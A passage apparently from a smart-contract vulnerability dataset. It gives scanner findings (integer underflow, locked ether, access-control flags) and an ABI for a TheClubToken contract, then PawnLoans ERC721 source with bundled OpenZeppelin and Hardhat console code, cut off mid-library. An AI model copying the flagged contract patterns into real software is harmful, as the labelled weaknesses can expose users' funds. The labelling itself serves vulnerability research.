} | [{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["98"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["59"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["85", "82"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [197, 198, 199, 200, 201, 202]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [60]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [216, 217, 218]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [132, 133, 134]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [85, 86, 87, 88, 89, 90]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [187, 188, 189]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [124, 125, 126]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [32, 33, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [160, 161, 162, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [142, 143, 144, 145, 146, 147]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [174, 175, 176, 177, 178, 179, 180]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheClubToken.sol": [26, 27, 28, 29]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheClubToken.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"TheClubToken.sol": [208, 209, 210]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"TheClubToken.sol": [83]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheClubToken.sol": [102]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheClubToken.sol": [82]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"TheClubToken.sol": [115]}}] | [{"error": "Integer Underflow.", "line": 125, "level": "Warning"}, {"error": "Integer Underflow.", "line": 100, "level": "Warning"}, {"error": "Integer Underflow.", "line": 99, "level": "Warning"}, {"error": "Integer Overflow.", "line": 197, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 116, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 117, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 89, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 125, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 158, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 208, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 104, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 105, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.26+commit.4563c3fc | false | 200 | Default | MIT | false | bzzr://4ccd53c376bbd88f9ebaa307d4727517bb510c6db5ed7a210cd7189e70d06378 |
|||
PawnLoans | 0x0bc73fe39666e6559aab30a87fee2d7f17dff265 | Solidity | // File: contracts/PawnLoans.sol
pragma solidity ^0.8.2;
import './interfaces/IPawnLoans.sol';
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "hardhat/console.sol";
contract PawnLoans is ERC721, IPawnLoans {
address public pawnShop;
constructor(address _pawnShop) ERC721("Pawn Loans", "PWNL") {
pawnShop = _pawnShop;
}
modifier pawnShopOnly(){
require(msg.sender == pawnShop, "PawnLoans: Forbidden");
_;
}
function mintLoan(address to, uint256 tokenId) pawnShopOnly override external {
_mint(to, tokenId);
}
function transferLoan(address from, address to, uint256 loanId) pawnShopOnly override external{
_transfer(from, to, loanId);
}
}
// File: contracts/interfaces/IPawnLoans.sol
pragma solidity ^0.8.2;
interface IPawnLoans {
function mintLoan(address to, uint256 pawnTicketId) external;
function transferLoan(address from, address to, uint256 loanId) external;
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "./extensions/IERC721Enumerable.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: hardhat/console.sol
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
